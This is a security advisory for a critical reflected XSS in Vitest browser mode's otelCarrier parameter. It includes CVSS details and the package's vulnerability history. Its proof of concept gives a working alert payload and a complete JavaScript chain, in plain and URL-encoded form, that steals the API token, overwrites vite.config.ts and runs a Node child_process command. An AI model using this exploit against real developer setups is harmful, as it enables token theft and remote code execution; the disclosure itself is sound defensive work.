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Critical

Vitest browser mode serves unsanitized otelCarrier query parameter as inline script

  • Disclosed: 01.06.2026
  • Updated: 11.10.2026 10:22

Summary

Vitest browser mode served /__vitest_test__/ with the otelCarrier query parameter inserted directly into an inline module script. Because this value was treated as JavaScript source rather than data, an attacker could craft a browser-runner URL that executes arbitrary JavaScript in the Vitest server origin.

https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/node/serverOrchestrator.ts#L48

https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/client/public/esm-client-injector.js#L41

The same generated page embeds VITEST_API_TOKEN, which is used to authenticate Vitest WebSocket APIs. Script execution in this origin can therefore recover the token and make authenticated API calls.

Impact

This issue affects users running Vitest browser mode. A victim must open or navigate to a crafted Vitest browser-runner URL while the Vitest browser server is running.

In the default local browser-mode setup, the token compromise can be chained to server-side code execution. A confirmed proof of concept used the authenticated browser API to write a payload into vite.config.ts. Vitest/Vite then reloaded the config, executing the injected config code in Node.

This is related in impact to GHSA-9crc-q9x8-hgqq: that advisory covered unauthenticated cross-site WebSocket access to Vitest APIs, while this issue uses reflected same-origin script execution to recover the API token that protects those APIs.

Proof of Concept

XSS

For a concrete reproduction, start browser mode in watch mode using the official Lit example:

bash
pnpm dlx tiged vitest-dev/vitest/examples/lit vitest-poc
cd vitest-poc
pnpm install
pnpm test

By default, Vitest serves the browser runner HTML and WebSocket API at http://localhost:63315.

Open the following URL:

http://localhost:63315/__vitest_test__/?otelCarrier=(alert(%22xss%20via%20otelCarrier%22)%2Cnull)

The otelCarrier query value is inserted into the generated inline module script as JavaScript source:

js
otelCarrier: (alert("xss via otelCarrier"),null),

Loading the page triggers the alert, confirming reflected script execution in the Vitest browser runner origin.

RCE via config write

A full local RCE proof can use the same injection point to recover window.VITEST_API_TOKEN, connect to /__vitest_browser_api__, and call triggerCommand("writeFile", ...) to modify the local vite.config.ts.

The PoC preserves the original config and prepends a Node-side payload. When Vitest/Vite reloads the changed config, the payload executes in Node.

This PoC imports flatted from a CDN to keep the payload compact.

<details><summary>Example script and encoded URL</summary>
ts
(setTimeout(async()=>{
  const s = window.__vitest_browser_runner__
  const { stringify, parse } = await import('https://cdn.jsdelivr.net/npm/flatted@3.3.2/+esm')
  const p = location.protocol === 'https:' ? 'wss:' : 'ws:'
  const q = 'type=orchestrator&rpcId=poc-' + Date.now()
    + '&sessionId=' + encodeURIComponent(s.sessionId)
    + '&projectName=' + encodeURIComponent(s.config.name || '')
    + '&method=' + encodeURIComponent(s.method)
    + '&token=' + encodeURIComponent(window.VITEST_API_TOKEN || '0')

  const ws = new WebSocket(p + '//' + location.host + '/__vitest_browser_api__?' + q)
  const pending = new Map()

  function call(m, a = []) {
    const i = crypto.randomUUID()
    ws.send(stringify({ t: 'q', i, m, a }))
    return new Promise((resolve, reject) => {
      pending.set(i, { resolve, reject })
    })
  }

  ws.onmessage = (event) => {
    const message = parse(event.data)
    const promise = pending.get(message.i)
    if (!promise) {
      return
    }
    pending.delete(message.i)
    if (message.e) {
      promise.reject(message.e)
    }
    else {
      promise.resolve(message.r)
    }
  }

  ws.onopen = async () => {
    const configPath = 'vite.config.ts'
    const original = await call('triggerCommand', [
      s.sessionId,
      'readFile',
      configPath,
      [configPath, 'utf-8'],
    ])

    const injected = `
import("node:child_process").then(lib => {
  lib.execSync('touch ./rce-poc')
  console.log('RCE success')
})
`
    await call('triggerCommand', [
      s.sessionId,
      'writeFile',
      configPath,
      [configPath, injected + original],
    ])

    alert('POC: vite.config.ts modified to trigger RCE on config reload')
  }

  ws.onerror = () => alert('POC: browser api websocket failed')
},0),null)

The following URL is the same script encoded as the otelCarrier query value:

http://localhost:63315/__vitest_test__/?otelCarrier=(setTimeout(async()%3D%3E%7B%0A%20%20const%20s%20%3D%20window.__vitest_browser_runner__%0A%20%20const%20%7B%20stringify%2C%20parse%20%7D%20%3D%20await%20import('https%3A%2F%2Fcdn.jsdelivr.net%2Fnpm%2Fflatted%403.3.2%2F%2Besm')%0A%20%20const%20p%20%3D%20location.protocol%20%3D%3D%3D%20'https%3A'%20%3F%20'wss%3A'%20%3A%20'ws%3A'%0A%20%20const%20q%20%3D%20'type%3Dorchestrator%26rpcId%3Dpoc-'%20%2B%20Date.now()%0A%20%20%20%20%2B%20'%26sessionId%3D'%20%2B%20encodeURIComponent(s.sessionId)%0A%20%20%20%20%2B%20'%26projectName%3D'%20%2B%20encodeURIComponent(s.config.name%20%7C%7C%20'')%0A%20%20%20%20%2B%20'%26method%3D'%20%2B%20encodeURIComponent(s.method)%0A%20%20%20%20%2B%20'%26token%3D'%20%2B%20encodeURIComponent(window.VITEST_API_TOKEN%20%7C%7C%20'0')%0A%0A%20%20const%20ws%20%3D%20new%20WebSocket(p%20%2B%20'%2F%2F'%20%2B%20location.host%20%2B%20'%2F__vitest_browser_api__%3F'%20%2B%20q)%0A%20%20const%20pending%20%3D%20new%20Map()%0A%0A%20%20function%20call(m%2C%20a%20%3D%20%5B%5D)%20%7B%0A%20%20%20%20const%20i%20%3D%20crypto.randomUUID()%0A%20%20%20%20ws.send(stringify(%7B%20t%3A%20'q'%2C%20i%2C%20m%2C%20a%20%7D))%0A%20%20%20%20return%20new%20Promise((resolve%2C%20reject)%20%3D%3E%20%7B%0A%20%20%20%20%20%20pending.set(i%2C%20%7B%20resolve%2C%20reject%20%7D)%0A%20%20%20%20%7D)%0A%20%20%7D%0A%0A%20%20ws.onmessage%20%3D%20(event)%20%3D%3E%20%7B%0A%20%20%20%20const%20message%20%3D%20parse(event.data)%0A%20%20%20%20const%20promise%20%3D%20pending.get(message.i)%0A%20%20%20%20if%20(!promise)%20%7B%0A%20%20%20%20%20%20return%0A%20%20%20%20%7D%0A%20%20%20%20pending.delete(message.i)%0A%20%20%20%20if%20(message.e)%20%7B%0A%20%20%20%20%20%20promise.reject(message.e)%0A%20%20%20%20%7D%0A%20%20%20%20else%20%7B%0A%20%20%20%20%20%20promise.resolve(message.r)%0A%20%20%20%20%7D%0A%20%20%7D%0A%0A%20%20ws.onopen%20%3D%20async%20()%20%3D%3E%20%7B%0A%20%20%20%20const%20configPath%20%3D%20'vite.config.ts'%0A%20%20%20%20const%20original%20%3D%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'readFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20'utf-8'%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20const%20injected%20%3D%20%60%0Aimport(%22node%3Achild_process%22).then(lib%20%3D%3E%20%7B%0A%20%20lib.execSync('touch%20.%2Frce-poc')%0A%20%20console.log('RCE%20success')%0A%7D)%0A%60%0A%20%20%20%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'writeFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20injected%20%2B%20original%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20alert('POC%3A%20vite.config.ts%20modified%20to%20trigger%20RCE%20on%20config%20reload')%0A%20%20%7D%0A%0A%20%20ws.onerror%20%3D%20()%20%3D%3E%20alert('POC%3A%20browser%20api%20websocket%20failed')%0A%7D%2C0)%2Cnull)
</details>

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package @vitest/browser >= 4.0.17, < 4.1.6, >= 5.0.0-beta.0, < 5.0.0-beta.3 4.1.6, 5.0.0-beta.3

References

CVSS score 9.6/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Weakness (CWE)
CWE-79
Platform
npm
Package
@vitest/browser
Disclosed
01.06.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-2h32-95rg-cppp - CC BY 4.0

Vulnerability history: @vitest/browser

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
4
First → latest
02.2025 07.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 3
  • Medium 1

Disclosures per year

  1. @vitest/browser: Browser Mode provider commands bypass the file-access permission gate
    Critical · 9.4 CVE-2026-73653 >= 4.0.0, < 4.1.10, < 3.2.7, >= 5.0.0-beta.1, < 5.0.0-beta.6 4.1.10, 3.2.7, 5.0.0-beta.6
  2. Vitest Browser: Exposed Browser Mode API Can Proxy CDP and Overwrite Config Files, Leading to RCE
    Critical · 9.8 CVE-2026-53633 >= 5.0.0-beta.0, < 5.0.0-beta.4, >= 4.0.0, < 4.1.8, >= 3.0.0, < 3.2.5 5.0.0-beta.4, 4.1.8, 3.2.5
  3. Vitest browser mode serves unsanitized otelCarrier query parameter as inline script this entry
    Critical · 9.6 CVE-2026-47428 >= 4.0.17, < 4.1.6, >= 5.0.0-beta.0, < 5.0.0-beta.3 4.1.6, 5.0.0-beta.3
  4. Vitest browser mode serves arbitrary files
    Medium · 5.9 CVE-2025-24963 >= 2.0.4, < 2.1.9, >= 3.0.0, < 3.0.4 2.1.9, 3.0.4

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